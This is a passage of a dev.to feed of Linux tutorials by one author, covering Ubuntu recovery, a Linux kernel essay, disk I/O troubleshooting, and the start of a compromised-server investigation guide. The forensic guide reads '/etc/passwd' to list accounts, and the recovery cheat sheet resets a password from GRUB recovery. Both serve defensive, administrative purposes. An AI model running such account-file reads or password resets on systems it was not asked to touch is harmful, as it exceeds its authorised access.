&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   reboot &lt;span class="nt"&gt;-f&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Checking SSD/HDD Health
&lt;/h3&gt;

&lt;p&gt;Install smartmontools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;smartmontools &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run health check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;smartctl &lt;span class="nt"&gt;-a&lt;/span&gt; /dev/nvme0n1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Critical Warning: 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Media and Data Integrity Errors: 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If errors appear, back up immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Ubuntu Survival Kit
&lt;/h2&gt;

&lt;p&gt;To prevent panic in the future, prepare a small set of tools and notes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cheat Sheet &amp;amp; Commands
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo mount -a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Test fstab before reboot&lt;/td&gt;
&lt;td&gt;Prevents boot failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo systemctl restart gdm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Restart display manager&lt;/td&gt;
&lt;td&gt;Fixes black screen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo apt purge nvidia* -y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Remove NVIDIA drivers&lt;/td&gt;
&lt;td&gt;Use before reinstall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo ubuntu-drivers autoinstall&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Install recommended GPU drivers&lt;/td&gt;
&lt;td&gt;Requires internet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;passwd your_username&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reset forgotten password&lt;/td&gt;
&lt;td&gt;Run after remount in GRUB recovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo smartctl -a /dev/nvme0n1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check SSD health&lt;/td&gt;
&lt;td&gt;Look for warnings/errors&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  Scripts (Optional)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;fix-fstab.sh&lt;/strong&gt; → Comments out broken fstab lines automatically.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;fix-graphics.sh&lt;/strong&gt; → Purges NVIDIA and reinstalls drivers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;backup-now.sh&lt;/strong&gt; → Rsyncs Documents and Desktop to external drive.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Backup Strategy
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;strong&gt;Timeshift&lt;/strong&gt; for system snapshots.&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;Clonezilla&lt;/strong&gt; for full disk cloning.&lt;/li&gt;
&lt;li&gt;Keep rsync backups of project folders on external drives.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A broken Ubuntu system doesn’t have to mean disaster. With the right steps, most issues — from fstab misconfigurations to black screens — are solvable. Preparing an &lt;strong&gt;Ubuntu Survival Kit&lt;/strong&gt; ensures that next time, you’ll fix the problem in minutes instead of hours.&lt;/p&gt;

&lt;p&gt;👉 Bookmark this guide, and consider building your own survival kit today.&lt;br&gt;
   &lt;br&gt;
   &lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; Farzan Afringan&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Date:&lt;/strong&gt; September 2025  &lt;/p&gt;




&lt;p&gt;   &lt;br&gt;
   &lt;br&gt;
   &lt;br&gt;
   &lt;/p&gt;

</description>
      <category>ubuntu</category>
      <category>linux</category>
      <category>troubleshooting</category>
    </item>
    <item>
      <title>Why Linux Kernel is the Beating Heart of Technology</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Sun, 21 Sep 2025 23:32:30 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/why-linux-kernel-is-the-beating-heart-of-technology-1en3</link>
      <guid>https://dev.to/farzandevlucky/why-linux-kernel-is-the-beating-heart-of-technology-1en3</guid>
      <description>&lt;p&gt;Imagine a world where you—not tech giants—control the very core of your computer.&lt;/p&gt;

&lt;p&gt;That’s what the Linux kernel offers. It’s not just software; it’s the beating heart of millions of devices, from smartphones and servers to supercomputers and even smart fridges&lt;/p&gt;

&lt;p&gt;Unlike closed-source systems, the Linux kernel is fully open. Anyone can look inside, study how it works, and even change it. That means more security—because thousands of developers around the world are constantly checking and improving the code. It also means freedom: you can customize it to fit your needs, whether you want a lightweight system for an old laptop or a high-performance engine for running cloud servers&lt;/p&gt;

&lt;p&gt;This transparency builds trust. You don’t need to “believe” in a company’s promises—you can see the code yourself. For people who care about privacy, security, and innovation, that’s a game-changer&lt;/p&gt;

&lt;p&gt;So why does the Linux kernel matter? Because it gives power back to you. It’s not just an operating system—it’s a movement, proving that the best technology is built when the world works together&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 What is the Linux Kernel?
&lt;/h2&gt;

&lt;p&gt;The kernel is the “middle layer” between your hardware and applications. When you open a program, it’s the kernel that decides how much CPU and memory it gets. When you type on your keyboard or connect to Wi-Fi, the kernel makes sure your software talks to your hardware. In short, it’s the invisible engine that keeps everything alive&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 A Short History and a Big Idea
&lt;/h2&gt;

&lt;p&gt;Back in 1991, a young Finnish student named Linus Torvalds posted a simple message on the internet:&lt;/p&gt;

&lt;p&gt;"I’m doing a free operating system (just a hobby, won’t be big and professional…)"&lt;/p&gt;

&lt;p&gt;That “hobby project” became the Linux kernel. What started as one student’s experiment has grown into one of the most powerful and important technologies in the world&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;p&gt;The story is not without drama. At first, many doubted it. Some thought an open-source kernel would never compete with giants like Microsoft or proprietary UNIX systems. But the opposite happened—Linux grew stronger because it was open. People all over the world could read the code, improve it, and share it back&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 The Power of Community
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxnxm1ep2rrskjl06lt0u.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxnxm1ep2rrskjl06lt0u.webp" alt=" " width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Today, the Linux kernel is developed by thousands of contributors from companies like Intel, IBM, Google, and countless independent developers. Every change is reviewed, tested, and debated in public. That’s the beauty of open source: no single corporation owns Linux—it belongs to everyone.&lt;/p&gt;

&lt;p&gt;This open collaboration is why the Linux kernel powers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;100% of the world’s top supercomputers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Most of the internet’s servers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Billions of Android phones&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;And even systems in space 🚀&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 First Hands-On Tests
&lt;/h2&gt;

&lt;p&gt;Want to see the kernel in action? Open a terminal and try:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;uname -r&lt;/code&gt; → shows your kernel version&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dmesg | head&lt;/code&gt; → displays the kernel’s boot messages&lt;/p&gt;

&lt;p&gt;&lt;code&gt;lsmod&lt;/code&gt; → lists active kernel modules (like drivers for your devices)&lt;/p&gt;

&lt;p&gt;With just a few commands, you can peek under the hood and realize that the kernel isn’t abstract—it’s right there, working for you&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 Why Open Source Matters
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F27gizkp4ggc2vtor8zry.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F27gizkp4ggc2vtor8zry.webp" alt=" " width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unlike closed systems, the Linux kernel is fully open. That means more security, more customization, and more trust. Thousands of eyes constantly review the code, ensuring transparency that no corporation can match&lt;/p&gt;

&lt;p&gt;   &lt;/p&gt;

&lt;h2&gt;
  
  
  🔹 A Global Movement
&lt;/h2&gt;

&lt;p&gt;The Linux kernel is more than technology. It’s a movement. A reminder that the best tools are built in the open, by people everywhere, working together.&lt;/p&gt;

&lt;p&gt;It’s not just an operating system—it’s freedom, transparency, and power in your hands.&lt;/p&gt;

&lt;p&gt;      &lt;/p&gt;

</description>
      <category>linux</category>
      <category>kernel</category>
      <category>opensource</category>
      <category>technology</category>
    </item>
    <item>
      <title>#🧠Investigating High Disk I/O in Linux - Using iostat, iotop, and Visual Analysis</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Tue, 15 Jul 2025 18:28:44 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/investigating-high-disk-io-in-linux-using-iostat-iotop-and-visual-analysis-571d</link>
      <guid>https://dev.to/farzandevlucky/investigating-high-disk-io-in-linux-using-iostat-iotop-and-visual-analysis-571d</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Introduction: What is Disk I/O and Why Monitor It&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In Linux systems, disk performance is crucial for overall system responsiveness. A common reason behind system sluggishness is high disk I/O usage. This happens when the disk cannot keep up with the number of read/write operations being requested. It could be due to hardware limitations, application overload, or inefficient background processes.&lt;/p&gt;

&lt;p&gt;To investigate these issues, Linux provides several tools. One of the most fundamental and useful is the &lt;code&gt;iostat&lt;/code&gt; command.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Understanding the &lt;code&gt;iostat&lt;/code&gt; Command Output&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;iostat&lt;/code&gt; tool reports CPU and device utilization statistics. When analyzing disk performance, the following columns are particularly important:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;%util&lt;/code&gt; – Device Utilization&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This column shows how much time the disk spends servicing I/O requests.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;%util&lt;/code&gt; is close to 100%, the disk is almost always busy, and it may indicate a performance bottleneck.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rule of Thumb:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Below 30%: Normal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;50%–70%: High usage&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Above 90%: Bottleneck likely&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Example:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Device: sda   %util: 92.65
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the disk is busy 92.65% of the time — a strong indicator of saturation.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. await – Average Wait Time (in milliseconds)
&lt;/h2&gt;

&lt;p&gt;This represents how long I/O requests wait before being serviced. It includes both the time spent waiting in the queue and the time spent servicing the request.&lt;/p&gt;

&lt;h2&gt;
  
  
  Expected Values:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;SSD: usually &amp;lt; 10 ms&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HDD: usually &amp;lt; 20 ms&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Device: sda   await: 10.20 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is acceptable for an SSD but could be slow for an HDD if it increases under load.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;r/s&lt;/code&gt; and &lt;code&gt;w/s&lt;/code&gt; – Read/Write Requests Per Second&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These indicate how many read &lt;code&gt;r/s&lt;/code&gt; and write &lt;code&gt;w/s&lt;/code&gt; operations are being issued per second. They help identify the nature of the disk workload.&lt;/p&gt;

&lt;h2&gt;
  
  
  Example:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Device: sda   r/s: 1.55   w/s: 44.48
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Heavy write activity is observed here, which may point to log writing or database operations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;High &lt;code&gt;%util&lt;/code&gt;&lt;/strong&gt;: Disk is heavily loaded — investigate what's using it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;High &lt;code&gt;await&lt;/code&gt;&lt;/strong&gt;: Disk is slow in responding — check for overloaded processes or hardware limitations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Disproportionate &lt;strong&gt;&lt;code&gt;r/s&lt;/code&gt; or &lt;code&gt;w/s&lt;/code&gt;&lt;/strong&gt;: Use tools like &lt;code&gt;iotop&lt;/code&gt; or &lt;code&gt;dstat&lt;/code&gt; to find the culprit processes.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the next section, we will use &lt;code&gt;iotop&lt;/code&gt; to pinpoint which processes are generating the most I/O and how to mitigate the impact.&lt;/p&gt;

&lt;p&gt;pic&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Step 2: Identify I/O-Heavy Processes with &lt;code&gt;iotop&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;While &lt;code&gt;iostat&lt;/code&gt; gives us a system-wide view of disk performance, it doesn't tell us which process is causing high I/O. That’s where &lt;code&gt;iotop&lt;/code&gt; comes in — it’s like &lt;code&gt;top&lt;/code&gt;, but for disk usage.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔧 Installing &lt;code&gt;iotop&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;If it's not already installed, you can get it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install iotop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note: You need root privileges to run &lt;code&gt;iotop&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;🚀 Basic Usage&lt;/p&gt;

&lt;p&gt;Run it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo iotop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You’ll see a real-time list of processes with columns like:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Process ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;USER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Owner of the process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DISK READ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Current read rate (e.g. KB/s or MB/s)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DISK WRITE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Current write rate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SWAPIN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;% of process swapped in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IO&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;% of time the process spent waiting on I/O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;COMMAND&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The actual command or process name&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  🎯 What to Look For
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Look for processes with high IO percentage. This shows they are waiting on the disk.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If a background process like tracker3 or snapd is constantly at the top, consider stopping or disabling it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;⚙️ High DISK WRITE or DISK READ values can signal data-intensive operations like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Browser caching&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Backup utilities&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Database indexing&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✂️ Reducing the Impact&lt;/p&gt;

&lt;p&gt;Here are some tips:&lt;/p&gt;

&lt;p&gt;-Use nice or ionice to lower the priority of I/O-heavy processes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo ionice -c3 -p &amp;lt;PID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This sets the process to "idle" I/O priority.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kill or stop non-critical high-I/O processes:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo kill &amp;lt;PID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Consider excluding aggressive indexers like tracker3 if not needed:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gsettings set org.freedesktop.Tracker3.Miner.Files enable-monitors false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  ⚖️ Step 3: Visualizing Disk I/O – HDD vs SSD Behavior
&lt;/h2&gt;

&lt;p&gt;Understanding how different types of disks behave under load is crucial when analyzing performance. Solid State Drives (SSDs) and Hard Disk Drives (HDDs) react very differently to high I/O situations.&lt;/p&gt;

&lt;p&gt;In this section, we'll use a custom Python script to visualize disk usage, helping us identify slowdowns and saturation in real-time.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;📊 Why Compare HDD and SSD Behavior?&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HDDs have mechanical parts, so they suffer from seek time and rotational latency.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SSDs use flash memory and offer much faster access times.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;However, both can become saturated under load, just in different ways.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧪 Our Approach
&lt;/h2&gt;

&lt;p&gt;We'll:&lt;br&gt;
Use a Python script with &lt;code&gt;psutil&lt;/code&gt; and &lt;code&gt;shutil&lt;/code&gt; to show I/O load in real-time&lt;/p&gt;

&lt;p&gt;Identify patterns (like heavy writes or frequent reads)&lt;/p&gt;

&lt;p&gt;Compare how long operations take on SSD vs HDD&lt;/p&gt;

&lt;p&gt;The following visual shows a snapshot of current mount points and their disk usage, captured using a custom monitoring tool.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvcyr02e6tq7dvh5chqw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvcyr02e6tq7dvh5chqw.png" alt=" " width="715" height="626"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🗂️ Note:&lt;/strong&gt;&lt;br&gt;
The reason many partitions appear with 100% usage here is that Snap applications are mounted as separate loop devices. They are read-only images and don't actually consume additional disk space beyond their original size.&lt;br&gt;
You can usually ignore these entries when investigating real disk usage issues.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;🗂️ Side Note:&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Mounted Snap Partitions and Disk Usage Noise&lt;/p&gt;

&lt;p&gt;Sometimes when investigating disk issues, you’ll notice that many mounted snap partitions report 100% usage, like this:&lt;/p&gt;
&lt;h2&gt;
  
  
  🔍 What Does This Mean?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;These are read-only squashfs loop devices created by Snap packages.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It's normal for them to show 100% usage — it doesn't mean your disk is full.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;However, having too many of them may:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Clutter monitoring tools (e.g. df, iostat)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cause confusion during analysis&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Introduce additional background I/O if snaps auto-refresh frequently&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  💡 Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;You can list these mounts using:
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;df -h | grep /snap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;To reduce clutter, consider using fewer Snap apps or switch to native/Flatpak alternatives if available:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo snap remove &amp;lt;unused-package&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✅ Conclusion
&lt;/h2&gt;

&lt;p&gt;High disk I/O can cripple Linux system performance — especially on slower drives. By using tools like &lt;code&gt;iostat&lt;/code&gt;, &lt;code&gt;iotop&lt;/code&gt;, and Python-based visualizers, you can pinpoint the problem and take action.&lt;/p&gt;

&lt;p&gt;Stay aware of hidden culprits like background processes and Snap mounts. With careful observation and tuning, your system can remain fast and responsive.&lt;/p&gt;




&lt;p&gt;✍️ Written by &lt;strong&gt;Farzan Afringan&lt;/strong&gt;, Senior Network &amp;amp; Security Engineer | Software Developer | AI-Driven Infrastructure Specialist&lt;/p&gt;

&lt;h2&gt;
  
  
  🔗 Let's Connect
&lt;/h2&gt;

&lt;p&gt;If you found this article useful or have questions, feel free to reach out or follow me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;🌐 Personal Website: &lt;a href="https://farzan.us" rel="noopener noreferrer"&gt;farzan.us&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;🧠 More posts on Dev.to: &lt;a href="https://dev.to/farzandev13"&gt;@farzandev13&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>highdisk</category>
      <category>linux</category>
      <category>linuxanalysis</category>
      <category>serverperformance</category>
    </item>
    <item>
      <title># How to Investigate a Compromised Linux Server</title>
      <dc:creator>Afringan</dc:creator>
      <pubDate>Wed, 09 Jul 2025 20:59:59 +0000</pubDate>
      <link>https://dev.to/farzandevlucky/-how-to-investigate-a-compromised-linux-server-1f78</link>
      <guid>https://dev.to/farzandevlucky/-how-to-investigate-a-compromised-linux-server-1f78</guid>
      <description>&lt;h1&gt;
  
  
  🧭 Introduction
&lt;/h1&gt;

&lt;p&gt;When a Linux server is compromised, every second counts. Attackers may have already opened backdoors, created hidden users, or tampered with critical files. Whether you’re a sysadmin, DevOps engineer, or a security enthusiast, knowing how to perform a basic post-breach investigation is essential. In this article, we’ll walk through practical steps to check for suspicious sessions, new users, altered files, and other indicators of compromise — all using simple shell commands.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧑‍💻 Step 1: Check Active SSH and User Sessions
&lt;/h2&gt;

&lt;p&gt;The first step after a suspected breach is identifying &lt;strong&gt;who is currently logged in&lt;/strong&gt; and &lt;strong&gt;from where&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 Check current SSH logins:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;who
&lt;/span&gt;last &lt;span class="nt"&gt;-i&lt;/span&gt;
w
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These commands help detect any suspicious or unexpected sessions — especially those from unusual IP addresses or users you don’t recognize. Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple open sessions
&lt;/li&gt;
&lt;li&gt;Unknown usernames
&lt;/li&gt;
&lt;li&gt;IP addresses outside your organization or country&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧑‍🔬 Step 2: Look for Suspicious New Users
&lt;/h2&gt;

&lt;p&gt;After a breach, attackers often create hidden or non-standard user accounts to retain access.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔸 List all users from /etc/passwd:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cut -d: -f1 /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following command lists all system usernames by extracting the first field from /etc/passwd.&lt;/p&gt;

&lt;p&gt;Look for:&lt;/p&gt;

